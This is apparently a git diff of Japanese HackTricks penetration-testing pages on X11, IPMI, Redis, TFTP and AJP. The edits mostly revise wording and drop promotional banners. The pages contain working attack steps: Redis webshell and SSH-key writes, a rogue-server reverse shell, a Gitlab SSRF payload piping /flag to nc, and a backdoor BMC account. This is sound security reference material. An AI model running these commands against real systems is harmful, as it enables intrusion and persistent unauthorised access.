auxiliary/scanner/x11/open_x11 ``` #### ローカル列挙 -ユーザーのホームフォルダにあるファイル **`.Xauthority`** は **X11の認証に使用されます**。 [**こちら**](https://stackoverflow.com/a/37367518) から: +ユーザーのホームフォルダーにあるファイル **`.Xauthority`** は **X11による認証に使用されます**。 [**こちら**](https://stackoverflow.com/a/37367518) から: ```bash $ xxd ~/.Xauthority 00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M @@ -43,10 +28,10 @@ $ xxd ~/.Xauthority 00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X 00000030: 041d ef ... ``` -> MIT-magic-cookie-1: 128ビットのキー(“cookie”)を生成し、それを \~/.Xauthority(またはXAUTHORITY envvarが指す場所)に保存します。クライアントはそれをサーバーに平文で送信します!サーバーはこの“cookie”のコピーを持っているかどうかを確認し、持っていれば接続が許可されます。キーはDMXによって生成されます。 +> MIT-magic-cookie-1: 128ビットのキー(“cookie”)を生成し、それを \~/.Xauthority(または XAUTHORITY 環境変数が指す場所)に保存します。クライアントはそれをサーバーにプレーンで送信します!サーバーはこの“cookie”のコピーを持っているかどうかを確認し、持っていれば接続が許可されます。キーは DMX によって生成されます。 > [!WARNING] -> **cookieを使用するためには**、環境変数を設定する必要があります: **`export XAUTHORITY=/path/to/.Xauthority`** +> **cookieを使用する**には、環境変数を設定する必要があります: **`export XAUTHORITY=/path/to/.Xauthority`** #### ローカル列挙セッション ```bash @@ -145,19 +130,4 @@ nc -lvp 5555 - `port:6000 x11` -
- -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください! - -**ハッキングの洞察**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう - -**最新のお知らせ**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください - -[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index 44ae40b36..c987dcf1a 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -4,19 +4,14 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Mobile Security**の専門知識を8kSec Academyで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} ## 基本情報 ### **IPMIの概要** -**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**は、オペレーティングシステムや電源状態に依存せず、コンピュータシステムのリモート管理と監視のための標準化されたアプローチを提供します。この技術により、システム管理者はシステムがオフまたは応答しない場合でもリモートで管理でき、特に以下の用途に便利です: +**[インテリジェントプラットフォーム管理インターフェース (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** は、オペレーティングシステムや電源状態に依存せず、コンピュータシステムのリモート管理と監視のための標準化されたアプローチを提供します。この技術により、システム管理者はシステムがオフまたは応答しない場合でもリモートで管理でき、特に以下の用途に便利です: -- OSブート前の設定 +- OSブート前の構成 - 電源オフ管理 - システム障害からの回復 @@ -24,13 +19,13 @@ IPMIは、温度、電圧、ファン速度、電源供給の監視が可能で 1998年にIntelによって導入されて以来、IPMIは多くのベンダーによってサポートされ、特にバージョン2.0のLAN経由のシリアルサポートによりリモート管理機能が強化されました。主要なコンポーネントには以下が含まれます: -- **Baseboard Management Controller (BMC):** IPMI操作のための主要なマイクロコントローラー。 +- **ベースボード管理コントローラー (BMC):** IPMI操作のための主要なマイクロコントローラー。 - **通信バスとインターフェース:** ICMB、IPMB、ローカルおよびネットワーク接続用のさまざまなインターフェースを含む内部および外部通信のためのもの。 - **IPMIメモリ:** ログとデータを保存するためのもの。 ![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) -**デフォルトポート**: 623/UDP/TCP(通常はUDPですが、TCPで動作している場合もあります) +**デフォルトポート**: 623/UDP/TCP (通常はUDPですが、TCPで動作している場合もあります) ## 列挙 @@ -40,7 +35,7 @@ nmap -n -p 623 10.0.0./24 nmap -n-sU -p 623 10.0.0./24 use auxiliary/scanner/ipmi/ipmi_version ``` -バージョンを特定するには、次のコマンドを使用します: +バージョンを特定するには、次のようにします: ```bash use auxiliary/scanner/ipmi/ipmi_version nmap -sU --script ipmi-version -p 623 10.10.10.10 @@ -80,7 +75,7 @@ IPMI 2.0の重要な設計選択は、認証目的でBMC内に平文パスワー ```bash cat /nv/PSBlock ``` -### **Supermicro IPMI UPnPの脆弱性** +### **Supermicro IPMI UPnP 脆弱性** SupermicroのIPMIファームウェアにUPnP SSDPリスナーが含まれていること、特にUDPポート1900での実装は、深刻なセキュリティリスクをもたらします。 [Rapid7の開示](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) に詳述されているように、UPnPデバイス用のIntel SDKバージョン1.3.1の脆弱性により、BMCへのルートアクセスが可能になります。 ```bash @@ -88,7 +83,7 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` ### ブルートフォース -**HPは製造時に**その**Integrated Lights Out (iLO)**製品のデフォルトパスワードをランダム化します。この慣行は、**静的デフォルト資格情報**を使用する他のメーカーとは対照的です。さまざまな製品のデフォルトのユーザー名とパスワードの概要は以下の通りです: +**HPは製造中に**その**Integrated Lights Out (iLO)**製品のデフォルトパスワードをランダム化します。この慣行は、**静的デフォルト資格情報**を使用する他のメーカーとは対照的です。さまざまな製品のデフォルトユーザー名とパスワードの概要は以下の通りです: - **HP Integrated Lights Out (iLO)**は、**工場でランダム化された8文字の文字列**をデフォルトパスワードとして使用し、より高いセキュリティレベルを示しています。 - **DellのiDRAC、IBMのIMM**、および**FujitsuのIntegrated Remote Management Controller**のような製品は、それぞれ「calvin」、「PASSW0RD」(ゼロを含む)、および「admin」のような簡単に推測可能なパスワードを使用しています。 @@ -96,11 +91,11 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow ## BMCを介してホストにアクセスする -Baseboard Management Controller (BMC)への管理アクセスは、ホストのオペレーティングシステムにアクセスするためのさまざまな経路を開きます。簡単なアプローチは、BMCのキーボード、ビデオ、マウス(KVM)機能を利用することです。これは、GRUBを介してホストをルートシェルに再起動する(`init=/bin/sh`を使用)か、リカバリディスクとして設定された仮想CD-ROMからブートすることで行えます。このような方法により、ホストのディスクを直接操作でき、バックドアの挿入、データ抽出、またはセキュリティ評価のために必要な任意のアクションを実行できます。ただし、これはホストを再起動する必要があり、重大な欠点です。再起動せずに実行中のホストにアクセスすることはより複雑で、ホストの構成によって異なります。ホストの物理コンソールまたはシリアルコンソールがログインしたままであれば、BMCのKVMまたはシリアルオーバーLAN(sol)機能を介して`ipmitool`を使用して簡単に乗っ取ることができます。i2cバスやSuper I/Oチップのような共有ハードウェアリソースの悪用を探ることは、さらなる調査が必要な分野です。 +Baseboard Management Controller (BMC)への管理アクセスは、ホストのオペレーティングシステムにアクセスするためのさまざまな経路を開きます。簡単なアプローチは、BMCのキーボード、ビデオ、マウス(KVM)機能を利用することです。これは、GRUBを介してホストをルートシェルに再起動する(`init=/bin/sh`を使用)か、リカバリディスクとして設定された仮想CD-ROMからブートすることで行えます。このような方法により、ホストのディスクを直接操作でき、バックドアの挿入、データ抽出、またはセキュリティ評価のために必要な任意のアクションを実行できます。ただし、これはホストの再起動を必要とし、重大な欠点です。再起動せずに実行中のホストにアクセスすることはより複雑で、ホストの構成によって異なります。ホストの物理コンソールまたはシリアルコンソールがログインしたままであれば、BMCのKVMまたはシリアルオーバーLAN(sol)機能を介して`ipmitool`を使用して簡単に乗っ取ることができます。i2cバスやSuper I/Oチップのような共有ハードウェアリソースの悪用を探ることは、さらなる調査が必要な分野です。 ## ホストからBMCにバックドアを導入する -BMCを装備したホストが侵害された場合、**ローカルBMCインターフェースを利用してバックドアユーザーアカウントを挿入することができます**。これにより、サーバー上に持続的な存在を作成します。この攻撃には、侵害されたホストに**`ipmitool`**が存在し、BMCドライバーサポートが有効である必要があります。以下のコマンドは、認証をバイパスしてホストのローカルインターフェースを使用してBMCに新しいユーザーアカウントを注入する方法を示しています。この技術は、Linux、Windows、BSD、さらにはDOSを含む幅広いオペレーティングシステムに適用可能です。 +BMCを装備したホストを侵害した場合、**ローカルBMCインターフェースを利用してバックドアユーザーアカウントを挿入することができます**。これにより、サーバー上に持続的な存在を作成します。この攻撃には、侵害されたホストに**`ipmitool`**が存在し、BMCドライバーサポートが有効である必要があります。以下のコマンドは、認証をバイパスしてホストのローカルインターフェースを使用してBMCに新しいユーザーアカウントを注入する方法を示しています。この技術は、Linux、Windows、BSD、さらにはDOSを含む幅広いオペレーティングシステムに適用可能です。 ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit @@ -124,10 +119,5 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit - [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) -
- -**モバイルセキュリティ**の専門知識を深めるために、8kSecアカデミーで学びましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/6379-pentesting-redis.md b/src/network-services-pentesting/6379-pentesting-redis.md index 879d229d0..44b5f8263 100644 --- a/src/network-services-pentesting/6379-pentesting-redis.md +++ b/src/network-services-pentesting/6379-pentesting-redis.md @@ -2,28 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -
+## 基本情報 -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください! - -**Hacking Insights**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください - -**Real-Time Hack News**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう - -**Latest Announcements**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - -## Basic Information - -[ドキュメント](https://redis.io/topics/introduction)によると:Redisはオープンソース(BSDライセンス)のインメモリ**データ構造ストア**で、**データベース**、キャッシュ、メッセージブローカーとして使用されます。 +[ドキュメント](https://redis.io/topics/introduction)によると、Redisはオープンソース(BSDライセンス)のインメモリ**データ構造ストア**であり、**データベース**、キャッシュ、メッセージブローカーとして使用されます。 デフォルトではRedisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**を実装することもできることを念頭に置いておく必要があります。[ここでssl/tlsを使用してRedisを実行する方法を学んでください](https://fossies.org/linux/redis/TLS.md)。 -**Default port:** 6379 +**デフォルトポート:** 6379 ``` PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 @@ -54,9 +39,9 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools ### Redis 認証 -**デフォルトでは** Redis は **認証情報なしでアクセス可能**です。しかし、**パスワードのみ、またはユーザー名 + パスワード**をサポートするように **設定**できます。\ -_**redis.conf**_ ファイルのパラメータ `requirepass` で **パスワードを設定**することが可能です。**または、一時的に**サービスが再起動するまで接続して実行することで: `config set requirepass p@ss$12E45`。\ -また、_**redis.conf**_ ファイル内のパラメータ `masteruser` で **ユーザー名**を設定できます。 +**デフォルトでは** Redis は **認証情報なしでアクセス可能**です。しかし、**パスワードのみ、またはユーザー名 + パスワード**をサポートするように **設定することができます**。\ +_**redis.conf**_ ファイルのパラメータ `requirepass` で **パスワードを設定することが可能**です。**または、一時的に**サービスが再起動するまで接続して実行することで: `config set requirepass p@ss$12E45`。\ +また、_**redis.conf**_ ファイル内のパラメータ `masteruser` で **ユーザー名を設定することができます**。 > [!NOTE] > パスワードのみが設定されている場合、使用されるユーザー名は "**default**" です。\ @@ -80,7 +65,7 @@ client list CONFIG GET * [ ... Get config ... ] ``` -**他のRedisコマンド** [**はここにあります**](https://redis.io/topics/data-types-intro) **と** [**ここにあります**](https://lzone.de/cheat-sheet/Redis)**。** +**他のRedisコマンド** [**はこちら**](https://redis.io/topics/data-types-intro) **と** [**こちら**](https://lzone.de/cheat-sheet/Redis)**。** インスタンスの**Redisコマンドは** _redis.conf_ **ファイルで名前を変更したり削除したりできます。例えば、この行はFLUSHDBコマンドを削除します:** ``` @@ -98,7 +83,7 @@ Redis内では、**データベースは0から始まる番号です**。`info` ![](<../images/image (766).png>) -または、次のコマンドで全ての**キー空間**(データベース)を取得できます: +または、次のコマンドで全ての**キー空間**(データベース)を取得することもできます: ``` INFO keyspace ``` @@ -127,32 +112,17 @@ DUMP ``` **npmを使ってデータベースをダンプする**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **またはpython** [**redis-utils**](https://pypi.org/project/redis-utils/) -
- -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください! - -**ハッキングの洞察**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界に遅れずについていきましょう - -**最新のお知らせ**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください - -今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、トップハッカーとコラボレーションを始めましょう! - ## Redis RCE ### インタラクティブシェル -[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server)は、Redis(<=5.0.5)でインタラクティブシェルまたはリバースシェルを自動的に取得できます。 +[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) は、Redis(<=5.0.5)でインタラクティブシェルまたはリバースシェルを自動的に取得できます。 ``` ./redis-rogue-server.py --rhost --lhost ``` ### PHP Webshell -情報は[**こちら**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)から取得しました。**Webサイトフォルダー**の**パス**を知っておく必要があります: +[**こちら**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)の情報。**Webサイトフォルダ**の**パス**を知っておく必要があります: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html @@ -164,7 +134,7 @@ OK 10.85.0.52:6379> save OK ``` -​ウェブシェルアクセス例外が発生した場合、バックアップ後にデータベースを空にして再試行できますが、データベースを復元することを忘れないでください。 +​ウェブシェルアクセス例外が発生した場合、バックアップ後にデータベースを空にして再試行できます。データベースを復元することを忘れないでください。 ### テンプレートウェブシェル @@ -185,18 +155,18 @@ sh.stderr.pipe(client); )()}} ``` > [!WARNING] -> 注意してください **いくつかのテンプレートエンジンは** テンプレートを **メモリ** にキャッシュするため、上書きしても新しいものは **実行されません**。この場合、開発者が自動リロードを有効にしたままにしているか、サービスに対してDoSを行う必要があります(自動的に再起動されることを期待してください)。 +> 注意してください **いくつかのテンプレートエンジンは** テンプレートを **メモリ** にキャッシュするため、上書きしても新しいものは **実行されません**。この場合、開発者が自動リロードを有効にしたままにしているか、サービスに対してDoSを行う必要があります(そして自動的に再起動されることを期待します)。 ### SSH -例 [こちらから](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) +例 [from here](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) -**`config get dir`** の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを最初に実行することをお勧めします。**`config get dir`** の出力には、**redisユーザー**の**ホーム**(通常は _/var/lib/redis_ または _/home/redis/.ssh_)が含まれており、これを知ることで、ssh **with the user redis** でアクセスするために `authenticated_users` ファイルを書き込む場所がわかります。他の有効なユーザーのホームを知っていて、書き込み権限がある場合は、それを悪用することもできます: +**`config get dir`** の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを最初に実行することをお勧めします。 **`config get dir`** の出力には、**redisユーザー**の**ホーム**(通常は _/var/lib/redis_ または _/home/redis/.ssh_)が見つかり、これを知ることで、ssh **with the user redis** でアクセスするために `authenticated_users` ファイルを書き込む場所がわかります。他の有効なユーザーのホームを知っていて、書き込み権限がある場合は、それを悪用することもできます: -1. PCでssh公開鍵-秘密鍵ペアを生成します: **`ssh-keygen -t rsa`** -2. 公開鍵をファイルに書き込みます: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** -3. ファイルをredisにインポートします: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** -4. Redisサーバーの**authorized_keys**ファイルに公開鍵を保存します: +1. PCでssh公開鍵-秘密鍵ペアを生成します: **`ssh-keygen -t rsa`** +2. 公開鍵をファイルに書き込みます: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** +3. ファイルをredisにインポートします: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** +4. Redisサーバーの**authorized_keys**ファイルに公開鍵を保存します: ``` root@Urahara:~# redis-cli -h 10.85.0.52 @@ -208,9 +178,9 @@ OK OK ``` -5. 最後に、秘密鍵を使って**redisサーバー**に**ssh**できます: **ssh -i id_rsa redis@10.85.0.52** +5. 最後に、秘密鍵を使って**redisサーバー**に**ssh**できます: **ssh -i id_rsa redis@10.85.0.52** -**この技術はここで自動化されています:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) +**この技術はここで自動化されています:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) ### Crontab ``` @@ -231,9 +201,9 @@ OK 1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) の指示に従って、**任意のコマンドを実行するためのredisモジュールをコンパイル**できます。 2. 次に、**コンパイルされた**モジュールを**アップロードする方法**が必要です。 -3. `MODULE LOAD /path/to/mymodule.so` を使用して、ランタイムで**アップロードされたモジュールをロード**します。 -4. `MODULE LIST` を使用して、**ロードされたモジュールをリスト**し、正しくロードされたか確認します。 -5. **コマンドを実行**します: +3. `MODULE LOAD /path/to/mymodule.so`を使用して、実行時に**アップロードされたモジュールをロード**します。 +4. `MODULE LIST`を使用して、**ロードされたモジュールをリスト**し、正しくロードされたか確認します。 +5. **コマンドを実行**します: ``` 127.0.0.1:6379> system.exec "id" @@ -247,15 +217,15 @@ OK ### LUAサンドボックスのバイパス -[**こちら**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)で、Redisが**EVAL**コマンドを使用して**Luaコードをサンドボックス化して実行**していることがわかります。リンクされた投稿では、**dofile**関数を使用して**それを悪用する方法**が示されていますが、[どうやら](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) これはもはや不可能なようです。それでも、**Lua**サンドボックスを**バイパス**できれば、システム上で**任意の**コマンドを**実行**できるでしょう。また、同じ投稿から**DoSを引き起こすオプション**も確認できます。 +[**ここ**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)で、Redisが**EVAL**コマンドを使用して**Luaコードをサンドボックス化して実行**していることがわかります。リンクされた投稿では、**dofile**関数を使用して**それを悪用する方法**が示されていますが、[どうやら](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)これはもはや可能ではないようです。とにかく、**Lua**サンドボックスを**バイパス**できれば、システム上で**任意の**コマンドを**実行**できます。また、同じ投稿から**DoSを引き起こすオプション**も確認できます。 -Luaから脱出するためのいくつかの**CVE**: +Luaから脱出するためのいくつかの**CVE**: - [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543) ### マスタースレーブモジュール -​マスターRedisのすべての操作は自動的にスレーブRedisに同期されます。これは、脆弱性のあるRedisをスレーブRedisと見なすことができ、マスターRedisに接続されている私たちの制御下にあるRedisにコマンドを入力できることを意味します。 +​マスターレディスのすべての操作は自動的にスレーブレディスに同期されます。これは、脆弱性のあるredisをスレーブredisと見なすことができ、マスターレディスに接続されている自分の制御下にある場合、コマンドを自分のredisに入力できることを意味します。 ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) @@ -279,11 +249,11 @@ set mykey2 helloworld -ERR unknown command 'Cache-Control:' -ERR unknown command 'Connection:' ``` -したがって、ウェブサイトで**SSRF vuln**を見つけ、いくつかの**ヘッダー**(おそらくCRLF vulnを使用して)や**POSTパラメータ**を**制御**できる場合、Redisに任意のコマンドを送信することができます。 +したがって、ウェブサイトで**SSRF vuln**を見つけ、いくつかの**ヘッダー**(おそらくCRLF vulnを使用して)や**POSTパラメータ**を**制御**できる場合、任意のコマンドをRedisに送信することができます。 ### 例: Gitlab SSRF + CRLF to Shell -**Gitlab11.4.7**では、**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようにしました(これは127.0.0.1にアクセスします)、そして**CRLF**脆弱性は**URL**に**%0D%0A**文字を追加することで悪用されました。 +**Gitlab11.4.7**では、**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようにしました(これにより127.0.0.1にアクセスします)、そして**CRLF**脆弱性は**URL**に**%0D%0A**文字を追加することで悪用されました。 したがって、これらの脆弱性を**悪用してRedisインスタンスと通信することが可能**であり、**gitlab**のキューを管理し、そのキューを悪用して**コード実行を取得することができました**。Redisキューの悪用ペイロードは: ``` @@ -296,21 +266,6 @@ exec ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` -_なぜか(この情報が取られた_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _の著者によると)`git` スキームでのエクスプロイトが機能し、`http` スキームでは機能しなかった。_ - -
- -[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! - -**Hacking Insights**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**Real-Time Hack News**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう - -**Latest Announcements**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得ましょう - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーとコラボレーションを始めましょう! +_何らかの理由で(この情報が取られた_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _の著者による)_ `git` _スキームでのエクスプロイトが機能し、_ `http` _スキームでは機能しませんでした。_ {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/69-udp-tftp.md b/src/network-services-pentesting/69-udp-tftp.md index 59f2c0fae..e87c532da 100644 --- a/src/network-services-pentesting/69-udp-tftp.md +++ b/src/network-services-pentesting/69-udp-tftp.md @@ -1,14 +1,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - # 基本情報 -**Trivial File Transfer Protocol (TFTP)** は、**UDPポート69** で使用される簡単なプロトコルで、認証なしでファイル転送を可能にします。**RFC 1350** に強調されているように、そのシンプルさは重要なセキュリティ機能を欠いており、公共のインターネットでの使用は限られています。しかし、**TFTP** は、**VoIPハンドセット** などのデバイスに **設定ファイル** や **ROMイメージ** を配布するために、大規模な内部ネットワーク内で広く利用されています。これは、特定のシナリオにおける効率性によるものです。 +**Trivial File Transfer Protocol (TFTP)** は、**UDPポート69** で使用される簡単なプロトコルで、認証なしでファイル転送を可能にします。**RFC 1350** に記載されているように、そのシンプルさは重要なセキュリティ機能を欠いており、公共のインターネットでの使用は限られています。しかし、**TFTP** は、**VoIPハンドセット** などのデバイスに**設定ファイル**や**ROMイメージ**を配布するために、大規模な内部ネットワーク内で広く利用されています。これは、特定のシナリオにおける効率性によるものです。 -**TODO**: Bittorrent-tracker とは何かについての情報を提供してください(Shodan はこのポートをその名前で識別します)。この件についての詳細があれば、[**HackTricks テレグラムグループ**](https://t.me/peass)(または [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) の GitHub イシュー)でお知らせください。 +**TODO**: Bittorrent-tracker についての情報を提供してください(Shodan はこのポートをその名前で識別します)。この件についての詳細があれば、[**HackTricks テレグラムグループ**](https://t.me/peass) や [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) の GitHub イシューでお知らせください。 **デフォルトポート:** 69/UDP ``` @@ -38,8 +34,5 @@ client.upload("filename to upload", "/local/path/file", timeout=5) - `port:69` -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md index 1bd017f4d..3a653cdcf 100644 --- a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md +++ b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md @@ -2,26 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
- -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加してください! - -**ハッキングの洞察**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう - -**最新のお知らせ**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください - -**私たちに参加してください** [**Discord**](https://discord.com/invite/N3FrSbmwdy) で、今日からトップハッカーとコラボレーションを始めましょう! - ## 基本情報 From [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/) -> AJPはワイヤープロトコルです。これは、[Apache](http://httpd.apache.org/)のようなスタンドアロンのウェブサーバーがTomcatと通信できるようにするために最適化されたHTTPプロトコルのバージョンです。歴史的に、Apacheは静的コンテンツを提供する際にTomcatよりもはるかに速いです。アイデアは、可能な限りApacheが静的コンテンツを提供し、Tomcat関連のコンテンツについてはリクエストをTomcatにプロキシすることです。 +> AJPはワイヤプロトコルです。これは、[Apache](http://httpd.apache.org/)のようなスタンドアロンのウェブサーバーがTomcatと通信できるようにするために最適化されたHTTPプロトコルのバージョンです。歴史的に、Apacheは静的コンテンツを提供する際にTomcatよりもはるかに高速でした。アイデアは、可能な限りApacheに静的コンテンツを提供させ、Tomcat関連のコンテンツについてはTomcatにリクエストをプロキシすることです。 また興味深い点: @@ -34,7 +19,7 @@ PORT STATE SERVICE ``` ## CVE-2020-1938 ['Ghostcat'](https://www.chaitin.cn/en/ghostcat) -これは、認証情報を含む `WEB-INF/web.xml` のようなファイルを取得できるLFI脆弱性です。この脆弱性を悪用するための[エクスプロイト](https://www.exploit-db.com/exploits/48143)があり、AJPが公開しているポートはこれに対して脆弱である可能性があります。 +これは、認証情報を含む `WEB-INF/web.xml` のようなファイルを取得できるLFI脆弱性です。これは、脆弱性を悪用するための[エクスプロイト](https://www.exploit-db.com/exploits/48143)であり、AJPが公開しているポートはこれに対して脆弱である可能性があります。 パッチが適用されたバージョンは、9.0.31、8.5.51、および7.0.100以上です。 @@ -54,7 +39,7 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 オープンなAJPプロキシポート(8009 TCP)と通信することが可能で、Nginxの`ajp_module` Apacheモジュールを使用してこのポートからTomcatマネージャーにアクセスでき、最終的には脆弱なサーバーでのRCEにつながる可能性があります。 -- [https://nginx.org/en/download.html](https://nginx.org/en/download.html) からNginxをダウンロードし、ajpモジュールでコンパイルします: +- [https://nginx.org/en/download.html](https://nginx.org/en/download.html) 